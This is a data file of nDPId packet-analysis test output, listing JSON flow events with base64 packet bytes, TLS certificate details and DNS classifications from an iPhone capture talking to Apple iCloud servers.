ghhwNTUtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA3MC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDMyLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNjktZm1mbW9iaWxlLmljbG91ZC5jb22CGHAxNy1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDEzLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMzgtZm1mbW9iaWxlLmljbG91ZC5jb22CGHAxMS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDIxLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMjctZm1mbW9iaWxlLmljbG91ZC5jb22CGHA0Mi1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDM3LWZtZm1vYmlsZS5pY2xvdWQuY29tghhw"} +00857{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":102,"source":"iphone.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1582454598252,"flow_last_seen":1582454598558,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.140","src_port":50575,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p26-fmfmobile.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02350{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":558173,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUf0UAADEGdp8R+LmMwKgCEQG7xY+mDHirDeq42oAQA6s5ugAAAQEICvbpn2AR3+drNTYtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA1MC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDU4LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMzktZm1mbW9iaWxlLmljbG91ZC5jb22CGHA0NS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDQ5LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNjgtZm1mbW9iaWxlLmljbG91ZC5jb22CGHAxMC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDIyLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMDctZm1mbW9iaWxlLmljbG91ZC5jb22CGHAyNS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDIwLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNzEtZm1mbW9iaWxlLmljbG91ZC5jb22CGHAwNS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDk4LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNjYtZm1mbW9iaWxlLmljbG91ZC5jb22CGHAxNS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDE2LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNDQtZm1mbW9iaWxlLmljbG91ZC5jb22CGHAwNC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDA5LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMjMtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA2MS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDMwLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNDYtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA2MC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDQzLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNTctZm1mbW9iaWxlLmljbG91ZC5jb22CGHAxNC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDAzLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMzYtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA2NC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDI4LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMjQtZm1mbW9iaWxlLmljbG91ZC5jb22CGXAyMDItZm1mbW9iaWxlLmljbG91ZC5jb22CGHAwMS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDYyLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNDctZm1mbW9iaWxlLmljbG91ZC5jb22CGHAzNS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDY1LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMzEtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA2My1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDE5LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMzMtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA1MS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDU0LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNTktZm1mbW9iaWxlLmljbG91ZC5jb22CGXAyMDEtZm1mbW9iaWxlLmljbG91ZC5jb20wgf8GA1UdIASB9zCB9DCB8QYKKoZIhvdjZAULBDCB4jCBpAYIKwYBBQUHAgIwgZcMgZRSZWxpYW5jZSBvbiB0aGlzIGNlcnRpZmljYXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgYW55IGFwcGxpY2FibGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgb2YgdXNlIGFuZC9vciBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRl"} +00425{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":559758,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrIbAqAIREfi5jMWPAbsN6rjapgx+S4AQA\/Sh9AAAAQEIChHf6AX26Z9g"} +02369{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":568083,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUf0YAADEGdp4R+LmMwKgCEQG7xY+mDH5LDeq42oAQA6shOQAAAQEICvbpn2oR3+drbWVudHMuMDkGCCsGAQUFBwIBFi1odHRwOi8vd3d3LmFwcGxlLmNvbS9jZXJ0aWZpY2F0ZWF1dGhvcml0eS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwNwYDVR0fBDAwLjAsoCqgKIYmaHR0cDovL2NybC5hcHBsZS5jb20vYXBwbGVpc3RjYTJnMS5jcmwwHQYDVR0OBBYEFDHv2aknMUATDctH1tf12x8ZPC\/JMA4GA1UdDwEB\/wQEAwIDiDARBgsqhkiG92NkBhsPAgQCBQAwEQYLKoZIhvdjZAYbCwIEAgUAMBEGCyqGSIb3Y2QGGwcCBAIFADCCAnEGCisGAQQB1nkCBAIEggJhBIICXQJbAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFu7DnTkQAABAMARzBFAiBpRU8mgJNh7GNdtZlMDRQcbjPi\/4\/\/wZ1ToW0H2gvClQIhAKi+60J30VdgFpxRYKTmdWE8CoK6ZWdTas9ansmYq4tOAHYApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFu7DnTkwAABAMARzBFAiEA2q+VXdLLQ\/joniCshAHmAnmx1V02J8o3bFveRb\/O8MICIBMznQ\/bkaGj37gml43Xzksn81jC6xtX5WXRr+Wrcg+3AHcAVhQGmi\/XwuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFu7DnTkAAABAMASDBGAiEA8makDlmuV1GM019IeJgi37pxb07QA4fVn0MSstosS+ACIQDSBPmm9pqmEGk6GgJMWDZZO76J5HdvzY9Onihu\/B5Q8wB3AO5Lvbd1zmC64UJpH6vhnmajD35fsHLYgwDEe4l6qP3LAAABbuw508MAAAQDAEgwRgIhAPNzBlh77K6\/TCVzmlBL\/zxWd4Gep8WH6zjqHl\/jrbV2AiEAncwJnBtEoBne9WX9\/03GUFw7xUpAi1lLAYshWh\/OV1gAdwBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAW7sOdOUAAAEAwBIMEYCIQCrqKlLf2ZhfAgsqqQ3Uw6M8nHId5iZUoGAJL0wRlDF3AIhANDWapL6dvUwkUd\/IH9zBHKBkUdvawfshpqQD5bP7ZqAMA0GCSqGSIb3DQEBCwUAA4IBAQAUmS79S7V53j1eiL1DYhfB9A2futkpnfFx6fPZxjwGyDSXhRr+NZuwXT+6J+uaNORrzLR0Zcy\/5X0Upu36o7CjABWMTf7aEE4nAq2dnLcRFZsXr3zuCGDT2SOqEA6uyF1nLZtAs9s0YOGP0fsYCTif\/tobr2lLa2wL3YnMmixppdFlMdI74ma1RTXoziDfAWc435upIpKZaEtvjjeGlBCoo+Dg0ZqyuQiWJju1f5jrBl6HL2WkYwZGnSFqGxVmQzMLLqgLd9AdvOGP2E\/WouTxaSHGAPr+2eisbUVvtS7fkprQohy8YHQV9mEkVnFRBXtiep7KPYGCqf8VeZyQl3bRAAREMIIEQDCCAyigAwIBAgIDAjp0MA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTQwNjE2MTU0MjAyWhcNMjIwNTIwMTU0MjAyWjBiMRwwGgYDVQQDExNBcHBsZSBJU1QgQ0EgMiAtIEcxMSAwHgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTETMBEGA1UEChMKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQk6EdR0MgFrILa+vD1bTox5jN"} +02375{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":568201,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUf0cAADEGdp0R+LmMwKgCEQG7xY+mDIPrDeq42oAQA6uEUQAAAQEICvbpn2oR3+dr896\/6E3p4zaAB\/xFG2p8RYauVtOkCX9hDWtdflJrfbTIOcT0Zzr3g84Zb4YvfkV+RxxnUsqVBV3iNlGFwNRngDVvFd0+\/R3S\/Y80UNjsdiq+49Pa5P3I6ygClhGXF2Ec6cRZO0LcMtEJHdqm0UOG\/16yvIzPZtsBiwKulEjzOI\/96jKoCOyGl1GUJD5JSZZT6HmhQIHpBbuTlVH84\/18EUv3ngizFUkVB\/nRN6CbSzL2tcTcatH8Cu324MUpoKiLcf4Nkrz+VHAYCm3H7Qz7yS0Gw4yF\/MuGXNY2jhKLCX\/7GRo41fCUMHoPpozzAgMBAAGjggEdMIIBGTAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU2HqURHyQcJAWnt0XnAFEA4bWKikwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNQYDVR0fBC4wLDAqoCigJoYkaHR0cDovL2cuc3ltY2IuY29tL2NybHMvZ3RnbG9iYWwuY3JsMC4GCCsGAQUFBwEBBCIwIDAeBggrBgEFBQcwAYYSaHR0cDovL2cuc3ltY2QuY29tMEwGA1UdIARFMEMwQQYKYIZIAYb4RQEHNjAzMDEGCCsGAQUFBwIBFiVodHRwOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvY3BzMA0GCSqGSIb3DQEBCwUAA4IBAQAWR3NvhaJi4ecqdruJlUIml7xKrKxwUzo\/MYM9PByrmuKxXRx2GqA8DHJXvtOeUODImdZY1wLqzg0pVHzN9cLGkClVo28UqAtCDTqYbQZ4nvBqox0CCqIopI3CgUY+bWfa3j\/+hQ5CKhLetbf7uBunlux3n+zUU5V6\/wf08goUwFFSsdaOUAsamVy8C8m97e34XsFW201+I6QRoSzUGwWa5BtS9nw4mQVLunKNQolgBGYq9P1o12v3mUEo1mwkq+YlUy7Igpnioo8jvjCDsSeL+mh\/AUnoxphrEC6YXorXykuxx8lYmtA225aV7LaB5PLNbxt5h0wQPInkTfpU3KqmFgMDBbIWAAWuAQAFqjCCBaYKAQCgggWfMIIFmwYJKwYBBQUHMAEBBIIFjDCCBYgwgaKiFgQU36Vol+mDVpj5IVylIMwrxtbU3WsYDzIwMjAwMjIzMDExMzQ0WjB3MHUwSTAJBgUrDgMCGgUABBQmhIezjFAVKZfb1NF+N\/8\/LvMVaAQU2HqURHyQcJAWnt0XnAFEA4bWKikCEAYmxU4Ra06nkoVjMfiS+ZuAABgPMjAyMDAyMjMwMTEzNDRaoBEYDzIwMjAwMjIzMTMxMzQ0WqECMAAwDQYJKoZIhvcNAQELBQADggEBAEMltyv8tJx1ZKkVnPUUGZ\/WakD0JOnod6z0CRlhCDJ3gNh+\/qto75ZiBjaJ0sPZoz6BU\/5GqH0pC7qPeA\/fdumSTm8EhT2sG0SUhbN7cb6V44taKboVd2+JpReQ0eT1DSfmpBvz1p8QQgtWA6EfczJP2Lvy9IdtuoULUv6N6AemjldwxgvuWGAFh\/RfHprWNldlKwycyFusGiqrVRTN9usJwJUuY4oLfbiA6ZKY4OqMu05H3m+bxXmidSOUT++QTRzjuAmANZ1No41dFUDe6cC+I53sxkhBH+4C1FX5OUM7QjDs2UPXG9fAfvJ8apLhqemh2FnOwztowCDz0M+amqqgggPLMIIDxzCCA8MwggKroAMCAQICEAyx1Y\/5QDlfRW3T86FXBVwwDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJ"} +03030{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":106,"source":"iphone.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":10,"flow_first_seen":1582454598252,"flow_last_seen":1582454598568,"flow_tot_l4_data_len":6617,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":661,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.140","src_port":50575,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p26-fmfmobile.icloud.com","server_names":"p67-fmfmobile.icloud.com,p48-fmfmobile.icloud.com,p53-fmfmobile.icloud.com,p34-fmfmobile.icloud.com,p72-fmfmobile.icloud.com,fmfmobile.icloud.com,p08-fmfmobile.icloud.com,p12-fmfmobile.icloud.com,p02-fmfmobile.icloud.com,p29-fmfmobile.icloud.com,p52-fmfmobile.icloud.com,p26-fmfmobile.icloud.com,p06-fmfmobile.icloud.com,p97-fmfmobile.icloud.com,p41-fmfmobile.icloud.com,p40-fmfmobile.icloud.com,p18-fmfmobile.icloud.com,p55-fmfmobile.icloud.com,p70-fmfmobile.icloud.com,p32-fmfmobile.icloud.com,p69-fmfmobile.icloud.com,p17-fmfmobile.icloud.com,p13-fmfmobile.icloud.com,p38-fmfmobile.icloud.com,p11-fmfmobile.icloud.com,p21-fmfmobile.icloud.com,p27-fmfmobile.icloud.com,p42-fmfmobile.icloud.com,p37-fmfmobile.icloud.com,p56-fmfmobile.icloud.com,p50-fmfmobile.icloud.com,p58-fmfmobile.icloud.com,p39-fmfmobile.icloud.com,p45-fmfmobile.icloud.com,p49-fmfmobile.icloud.com,p68-fmfmobile.icloud.com,p10-fmfmobile.icloud.com,p22-fmfmobile.icloud.com,p07-fmfmobile.icloud.com,p25-fmfmobile.icloud.com,p20-fmfmobile.icloud.com,p71-fmfmobile.icloud.com,p05-fmfmobile.icloud.com,p98-fmfmobile.icloud.com,p66-fmfmobile.icloud.com,p15-fmfmobile.icloud.com,p16-fmfmobile.icloud.com,p44-fmfmobile.icloud.com,p04-fmfmobile.icloud.com,p09-fmfmobile.icloud.com,p23-fmfmobile.icloud.com,p61-fmfmobile.icloud.com,p30-fmfmobile.icloud.com,p46-fmfmobile.icloud.com,p60-fmfmobile.icloud.com,p43-fmfmobile.icloud.com,p57-fmfmobile.icloud.com,p14-fmfmobile.icloud.com,p03-fmfmobile.icloud.com,p36-fmfmobile.icloud.com,p64-fmfmobile.icloud.com,p28-fmfmobile.icloud.com,p24-fmfmobile.icloud.com,p202-fmfmobile.icloud.com,p01-fmfmobile.icloud.com,p62-fmfmobile.icloud.com,p47-fmfmobile.icloud.com,p35-fmfmobile.icloud.com,p65-fmfmobile.icloud.com,p31-fmfmobile.icloud.com,p63-fmfmobile.icloud.com,p19-fmfmobile.icloud.com,p33-fmfmobile.icloud.com,p51-fmfmobile.icloud.com,p54-fmfmobile.icloud.com,p59-fmfmobile.icloud.com,p201-fmfmobile.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=Apple IST CA 2 - G1, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=fmfmobile.icloud.com, O=Apple Inc., ST=California, C=US","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"FF:C3:9F:1A:A1:3C:D2:3C:06:96:EC:49:B4:97:A9:D3:DA:05:A3:E2"}} +00426{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":569580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrIbAqAIREfi5jMWPAbsN6rjapgyD64AQBACcNAAAAQEIChHf6A\/26Z9q"} +01724{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":579201,"pkt_caplen":1026,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1026,"pkt_l4_len":992,"pkt":"xGGLNYKpxiwDYGpkCABFAgP0f0gAADEGeHwR+LmMwKgCEQG7xY+mDImLDeq42oAYA6vOFAAAAQEICvbpn3QR3+drBgNVBAYTAlVTMB4XDTIwMDIyMDIwNDA0MloXDTIwMDQwMjIwNDA0MlowTzErMCkGA1UEAwwiQXBwbGUgSVNUIENBIDIgT0NTUCBSZXNwb25kZXIgTkwwNTETMBEGA1UECgwKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCuNASekHmai55a2AA8WP2cLXdQEaNKclmOQfl5zAqJzkgeg899ClP\/K7XAMAqk4tqmlGJ8zb3kWoXsonC0VZAV2pdMjDx+XzWt38f12PXCbn+YTQ3Ia\/UxyJ+dE1VBZbjBzoxFvH7XvS1\/F0aH7ROSrQWX2ZMRQbRXTZtk6IHxr8b+Fn1mGboaeSL+Wax5ZkWQiXlh5sYCIKg0\/J24AfRE+j4KovXIigU4+j1Hmh6PyYmzkVpT9wqRhGDpuUOlCRLf6veVPWCwDswbhfx85+fNWhbNnBxT\/BWIjaLAkH1dcLlwHc4djK+OEvMjqF6K2e3x56cz0z9gdFObdNIHOOBlAgMBAAGjgYcwgYQwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBTYepREfJBwkBae3RecAUQDhtYqKTAPBgkrBgEFBQcwAQUEAgUAMBMGA1UdJQQMMAoGCCsGAQUFBwMJMB0GA1UdDgQWBBTfpWiX6YNWmPkhXKUgzCvG1tTdazAOBgNVHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBADHUTDZcgrz+VGTbly9lQDH+jgwaQQ\/udlTuHrl8wLnpIC1zJK2jaUktjcnjd4RIPRTZ4OYinH2q2df7YgU4K7ILpYyCO9xA9d9J4yW1EeP2NvBf1MBNYw0OI41QBvAwkYS\/sV+RUxlrWP0qD8R8LHTNftYYBBEFKFKMvdN\/p8sI6smB8BFx0LJtw+1sSet\/k+BApFY6BrC3LzqKQIatLQ4QfQTOSU8SqXwE0mdnTOyZ8OM4HF8eGliqBxAxPked9fl38Ne0Oa2s5l1RJHgNfCs1\/QIUI2ol1CB1o67ftUMFottwIgS7Vy8CakoO14D4S1xs\/U+fnXKKRtD8Z5T58MoWAwMAdAwAAHADAB0gABPObQPvbCGqVleSexP6W\/7vDllutvbDrf3tkxDNBBYEAwBIMEYCIQDOz6wI1gh3TwOiak8Zz83\/ebwv2DH37QCU9A6wZxBCQgIhAMu6h9hFcJPj5WUCBZ8V3O+QUCH7JFq51R+ZQ2zLIyyqFgMDAAQOAAAA"} +00426{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":580611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrIbAqAIREfi5jMWPAbsN6rjapgyNS4AQA\/iS0QAAAQEIChHf6Br26Z9q"} +00667{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":582484,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"xGGLNYKpxiwDYGpkCABFAADmpdwAAEARTsjAqAIBwKgCEQA1znQA0sdAsQ+BgAABAAkAAAAAB2dhdGV3YXkGaWNsb3VkA2NvbQAAAQABwAwABQABAAARlgAaB2dhdGV3YXkCZmUJYXBwbGUtZG5zA25ldADAMAABAAEAAAAiAAQR+LBLwDAAAQABAAAAIgAEEfixhcAwAAEAAQAAACIABBH4sCjAMAABAAEAAAAiAAQR+LCNwDAAAQABAAAAIgAEEfiwTcAwAAEAAQAAACIABBH4sWXAMAABAAEAAAAiAAQR+LGqwDAAAQABAAAAIgAEEfiwiQ=="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":110,"source":"iphone.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":2,"flow_first_seen":1582454598542,"flow_last_seen":1582454598582,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":44,"flow_max_l4_data_len":210,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52852,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"gateway.icloud.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.248.176.75"}} +00425{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":584084,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0nTYAADIGrQ0R\/WnKwKgCEQG7xZNpWNRhMiTxG4AQAHVURAAAAQEICgAfwUQR3+f3"} +02371{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":584601,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUnTcAADIGp2oR\/WnKwKgCEQG7xZNpWNRhMiTxG4AQAHVBGQAAAQEICgAfwUQR3+f3FgMDAHoCAAB2AwMyKF9DOKuLw5bBJ9NVFrrF6VDCVBOwZ68rYpvChcZWzSD\/YLmMW82uuwbbKEYkARjm9\/sVvKjvTmHajlJ93y\/zsxMBAAAuACsAAgMEADMAJAAdACCkt4j8DfZ7YKSUflqfW1DYudx6NFOgOWG7+Cp946\/oVxQDAwABARcDAwAqLFuqMhmooVCeSjCEhpoKgBvKl13GFVCOJk3aR6rc3XPfPiJvinusQIAKFwMDDhhIAmeGzJRGR1eJTrfqR1feayAaXq7CQmBH\/9e6IXhmUdMGE2QJ5f5vrNzO0E8uifDIBEQqnOGRVQJQALuVlruvkCYzVIbGOUGCxNe8n3Ai4O1YZIUvwvbPKpdY5VU++ysANIaeAY5xSiGbfRCGOZ0eOLhShHmcLyPuHTqYFddSAeq7VBnsu7fSW95\/uJc8wJ7zrLOp2Y7UWY8svtPWi8fO+vWC6X4y3thEneEzOvD624+Nwts2OGdwfJMiaE4j2l8eWA28W+euCESNuVfCrRALJWm6FEKnMmUF6vWNZcBSHZ9sdySmwgJdHKYtQwGs36+207DIMqXJe9zTWYxXE5EQx3HI6GruvFb87uDu+E03XOeGJ2GOyQiVXkfPhpl6lEdQ\/TISF1ErnSOdVdKBxh15KqFtDgpzEuvnEwY3yWumneuI7J+DN1cpYfQVjIhX6j7H7n+kj+Wo4eBiTL5PMwkoSCvOysnHjdG2swL5pr9oLDpHIuHxmCzpfKFr8RXLRnC5Sp1lN5HbKxO5XgxZYdSx1geSz26mdoOjLZiGVAMBbULNf6IJrl0pheFNQ3QPQZ4YsmmBgefhsM58bClY7h8xqQdtMFjOaP39XCTOgDO0bErTDEgjppTFlTaWMssMuRNdg+YTWJFW05BCumcTVvWvnnidekxWswgQvhECYSRUWiLKJm+cSv3bOi9uOzhskf0yIt4tPozdU6AWIBq54xZ+VZCMwO1DMheSSjsr5nZ7qpk9m6QCGV8wIj8rDKQgAbuTveOZJ2nRcvcj8gnhRo4zXz46w\/5GUCF4H+U2AI+sPiNDYC0Joe33tioUQXT9hXZGYohx9afTcX8OlPWSrffSMoWeioeSVenr\/47HU5l2sDA\/IxcpBsd0fwJFhdrNO3FIID0H9pgdYiwshv7baBudMFjb3+VXM9K8gclztO8xu4dcWmlb12ldRENYxjCN6DE0PFkv4SelKFYTFdj\/oIGqDn2XaBCMgoSe3F0wT13WY853OzhSFgFpciOjW6L+Hm7zXtQaM3fLy7QZu021VwJQKDIRH7B2Ra1hp\/uc1e5zQAQ7Bo7nWejNnGcpBECjNhNvB7sRj5zonFANuGdg9v2VfrHuzETjyCVJBbG8HJwKOhvIPzUtZp48o+sSIQTu5S99otz05ItW0MHSK5H4sqk9gKsX5wI8nPFrgjWPo4m6Dx8h7+uCatU22Bd5uo\/IyY5yjv1i42\/7v0FFbDd+LtEsR3B\/uP926VMTvEBsRx+c84cPqKILt+74ZL6Hj4al1EkHitz2uGe7lsVVvAF\/zUxSYNJ67ON68T\/xMoe+Vr9DntrDFqc5hwyHKWGHzZhW3uGMFK5PW7il00PWvcV2eHaNa+PMoOl4OeV5\/vVszZPBFR\/Z4zmHZk1P+b2R03i+ZmAq4PIy40nyybPThNFIvaHnuOLm+JM6tu2KeMgBP6OJ5uashzuhXMVOe9YrZ+PUmV4dUaQu+g3NydXZJ2Bk3lo7ZhS9pDit3G6Zz2g0m0Fa1KANHpfxlGC0Fr9ZhRCIhhIuCdZQwkIow6ge+P61amsPhYnP2UayQkffM1LtJycCJjPdUUhxz+7n98xdNa5qC1njfNjUGFPyyWiSDuAQO4qBOGW64cdrs3dKCRO2iwgKdh46ZPfPldOxqz7NCWCQ9YK\/NJWGacDu"} 